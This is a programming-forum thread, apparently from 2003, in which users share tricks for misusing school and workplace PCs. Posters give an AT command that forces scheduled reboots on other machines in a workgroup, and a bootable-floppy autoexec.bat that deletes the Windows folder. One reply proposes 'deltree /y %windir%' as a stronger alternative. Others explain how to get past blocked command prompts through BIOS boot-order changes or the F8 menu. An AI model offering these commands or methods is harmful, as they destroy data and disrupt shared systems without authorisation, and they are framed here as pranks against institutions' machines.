ok, so use snprintf... ?
ok, so use snprintf... ?
that shutdown commands make me love you
my school lab is entirely squencialy names Lab203-1 threw too lab203-31
>>that shutdown commands make me love you
>>my school lab is entirely squencialy names Lab203-1 threw too lab203-31
One of our Comp-Sci teachers lets me use a program, available to computer teachers only, called WatchDawg. It's basically a backdoor which allows the teachers to monitor what each student is doing, take screenshots, send messages, open programs, and (of course) restart.
Oh, and it is school-wide, not just accessing one lab.
Naturally I didn't feel inspired enough to read all the links for you, since I already slaved away for long hours under a blistering sun pressing the search button after typing four whole words! - Quzah
You. Fetch me my copy of the Wall Street Journal. You two, fight to the death - Stewie
If you want to be a REAL pain with the shutdown (actually, the -r switch makes it reboot), use the AT command to remotely schedule the shutdown (or restart command), so... you can schedule computers on your workgroup (er, this is assuming they are either running 2000 or XP) to reboot, say... everyday at noon forcefully (no saves, forces all programs closed then reboots) muahahaha...
example:
-------------
at \\computername 12:00 /EVERY:m,t,w,th,f,s,su "shutdown -r -t 1 -f"
may require tweaking, but... hehe, AT + shutdown == goot fun if you have the access...
I made a nice little delphi app for my schoosl tech. Basicly it lets you shut down every PC on network at once thats runing it. I was about to set it up so it had a nice tray icon and what not but then i decided to learn c++ and screw delphi :P
if you can use AT with computers in your workgroup... uh, just think about the potential
here's a way to get the command prompt if your school/workplace tries to block it:Originally posted by RoD
dont know batch files and what not, trying to find a way around my wall
1. restart comp, enter BIOS
2. change boot sequence so removeable or a: is first
3. put in disk and restart
the disk contents:
command.com
autoexec.bat
autoexec.bat:
@echo off
a:\command.com
del c:\windows
4. take disk out, reboot, and walk away...
//note: actually, this deletes windows and you won't be able to reboot again... it will give you an error and ask to either reboot or enter BIOS... all the network admin needs to do is clone the computer and it's back up... I use it to guage how well a network is monitored and kept up...
//to get the command prompt, leave out the last line of autoexec.bat
Last edited by major_small; 05-28-2003 at 11:25 AM.
Join is in our Unofficial Cprog IRC channel
Server: irc.phoenixradio.org
Channel: #Tech
Team Cprog Folding@Home: Team #43476
Download it Here
Detailed Stats Here
More Detailed Stats
52 Members so far, are YOU a member?
Current team score: 1223226 (ranked 374 of 45152)
The CBoard team is doing better than 99.16% of the other teams
Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)
Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT
Wouldn't "deltree /y %windir%" work better?
Naturally I didn't feel inspired enough to read all the links for you, since I already slaved away for long hours under a blistering sun pressing the search button after typing four whole words! - Quzah
You. Fetch me my copy of the Wall Street Journal. You two, fight to the death - Stewie
Where do you guys learn this stuff lol? Is it possible to send a command to another computer, like say telling it to run a program...
"Think not but that I know these things; or think
I know them not: not therefore am I short
Of knowing what I ought."
-John Milton, Paradise Regained (1671)
"Work hard and it might happen."
-XSquared
I'd tell you, but then I'd have to kill you. J/K .Originally posted by JaWiB
Where do you guys learn this stuff lol?
Really most of it is just basic DOS commands (or windows console, which is the same but better).
Do you have to do anything to the floppy to make it bootable? I tried putting autoexec.bat in a floppy but it said it wasn't bootable. Do you have to call command.com or am I just useless?
SoKrA-BTS "Judge not the program I made, but the one I've yet to code"
I say what I say, I mean what I mean.
IDE: emacs + make + gcc and proud of it.
right click the floppy drive and go to format, one of the options is system disk i think u can do that and just edit the autoexec file
the people here disabled command line arguments and blocked access to command... i had to bring in a floppy and change the boot sequence...Originally posted by XSquared
Wouldn't "deltree /y %windir%" work better?
yeah, you have to call command with autoexec... command is a program, not just an empty file...
look through your personal OS... some give you an option to create a boot disk... use that to get mouse and keyboard drivers... I'll put the files on this board as an attachment...
Join is in our Unofficial Cprog IRC channel
Server: irc.phoenixradio.org
Channel: #Tech
Team Cprog Folding@Home: Team #43476
Download it Here
Detailed Stats Here
More Detailed Stats
52 Members so far, are YOU a member?
Current team score: 1223226 (ranked 374 of 45152)
The CBoard team is doing better than 99.16% of the other teams
Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)
Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT
our school runs win98, so just press f5 (or is it f8?) as its booting, youll get to the boot options, choose command prompt, and just do whttever from there.
F8, and it works on xp, 2k, 98, nt, etc
eh, i've never used that because i just pressed F2 and changed BIOS around... i'll do that next time though...Originally posted by the Wookie
our school runs win98, so just press f5 (or is it f8?) as its booting, youll get to the boot options, choose command prompt, and just do whttever from there.
Join is in our Unofficial Cprog IRC channel
Server: irc.phoenixradio.org
Channel: #Tech
Team Cprog Folding@Home: Team #43476
Download it Here
Detailed Stats Here
More Detailed Stats
52 Members so far, are YOU a member?
Current team score: 1223226 (ranked 374 of 45152)
The CBoard team is doing better than 99.16% of the other teams
Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)
Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT